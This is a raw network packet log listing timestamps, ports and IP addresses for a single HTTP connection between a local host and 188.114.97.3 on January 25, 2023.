Jan 25, 2023 09:42:40.851762056 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.851810932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.851824999 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.851856947 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.851905107 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.851907015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.852566004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.852613926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.852622986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.852662086 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.852710962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.852716923 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.853391886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.853440046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.853441000 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.853485107 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.853530884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.853534937 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.854183912 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.854234934 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.854259968 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.854280949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.854327917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.854330063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.855036020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.855088949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.855093956 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.855138063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.855184078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.855186939 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.863984108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864101887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864104033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.864151001 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864207983 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.864217997 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864264011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864334106 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.864748955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864799976 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864847898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864862919 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.864902020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.864959002 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.865520954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.865571022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.865617037 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.865641117 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.865664959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.865726948 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.866308928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.866357088 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.866404057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.866417885 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.866451025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.866503000 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.867132902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.867182970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.867233038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.867248058 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.867280960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.867412090 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.867928982 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.867978096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.868026018 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.868036985 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.868079901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.868134975 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.868695021 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.868927002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.868974924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.868984938 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.869021893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.869071007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.869072914 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.869719028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.869769096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.869776011 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.869822979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.869870901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.869879007 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.870532990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.870580912 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.870603085 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.870628119 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.870676041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.870677948 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.871328115 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.871373892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.871396065 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.871413946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.871464968 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.893328905 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893404961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893454075 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.893553019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893614054 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893660069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893667936 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.893707037 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893753052 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893758059 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.893796921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893842936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893846989 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.893887043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893919945 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.893965960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894011021 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894035101 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.894057035 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894108057 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.894439936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894485950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894530058 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894539118 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.894576073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894620895 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894629002 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.894669056 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.894737959 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.894748926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.895297050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.895345926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.895390987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.895436049 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.895477057 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.895482063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.895526886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.895555019 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.895555019 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.895572901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.895678043 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.896146059 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.896195889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.896244049 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.896251917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.896291971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.896339893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.896343946 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.896387100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.896434069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.896436930 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.896995068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897043943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897057056 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.897090912 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897138119 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897140026 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.897186041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897236109 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.897236109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897284031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897334099 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.897855043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897902012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897948980 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.897954941 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.897998095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.898045063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.898050070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.898104906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.898152113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.898176908 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.898787022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.898837090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.898852110 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.898885012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.898930073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.898935080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.898973942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899019003 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.899019003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899066925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899118900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.899588108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899633884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899679899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899686098 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.899728060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899776936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899779081 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.899828911 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899868965 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.899879932 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.900439024 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.900490999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.900496006 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.900530100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.900569916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.900580883 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.900609016 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.900646925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.900674105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.901046038 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.901272058 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.901315928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.901355982 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.901376963 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.901396036 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.901437044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.901446104 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.901478052 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.901518106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.901526928 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.902117014 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.902167082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.902173042 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.902209044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.902249098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.902260065 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.902290106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.902328968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.902338982 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.902369022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.902415037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.902997017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.903039932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.903079987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.903099060 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.903121948 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.903161049 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.903168917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.903203964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.903244972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.903251886 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.903775930 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.903832912 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.903979063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904019117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904059887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904068947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.904099941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904139042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904146910 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.904179096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904222012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904228926 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.904247046 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.904824018 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904865980 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904884100 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.904906034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904946089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.904954910 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.904985905 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905025005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905034065 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.905065060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905109882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.905675888 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905714989 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905752897 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905761003 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.905791998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905828953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905843973 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.905869007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905909061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.905915022 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.906527996 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.906569004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.906583071 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.906609058 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.906650066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.906657934 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.906687975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.906744957 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.906773090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.906874895 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.907409906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.907450914 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.907491922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.907502890 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.907532930 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.907572985 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.907578945 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.907612085 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.907653093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.907674074 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.908260107 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.908301115 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.908315897 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.908339977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.908377886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.908412933 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.908416986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.908466101 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.908468008 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.908505917 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.908557892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.911026955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911056042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911083937 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911112070 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911122084 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.911139011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911165953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911170006 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.911195993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911225080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.911453962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911482096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911509991 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911531925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.911537886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911566973 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.911566973 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911596060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911617994 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.911623955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.911669970 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.912322044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.912348986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.912375927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.912399054 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.912401915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.912429094 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.912446022 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.912456036 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.912483931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.912501097 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.913281918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.913305044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.913331032 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.958863974 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.236877918 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.237200975 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.254005909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.254143000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.318187952 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.318236113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.318317890 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.408245087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.408315897 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.425519943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.425569057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488686085 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488712072 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488732100 CET	80	49728	188.114.97.3	192.168.2.3
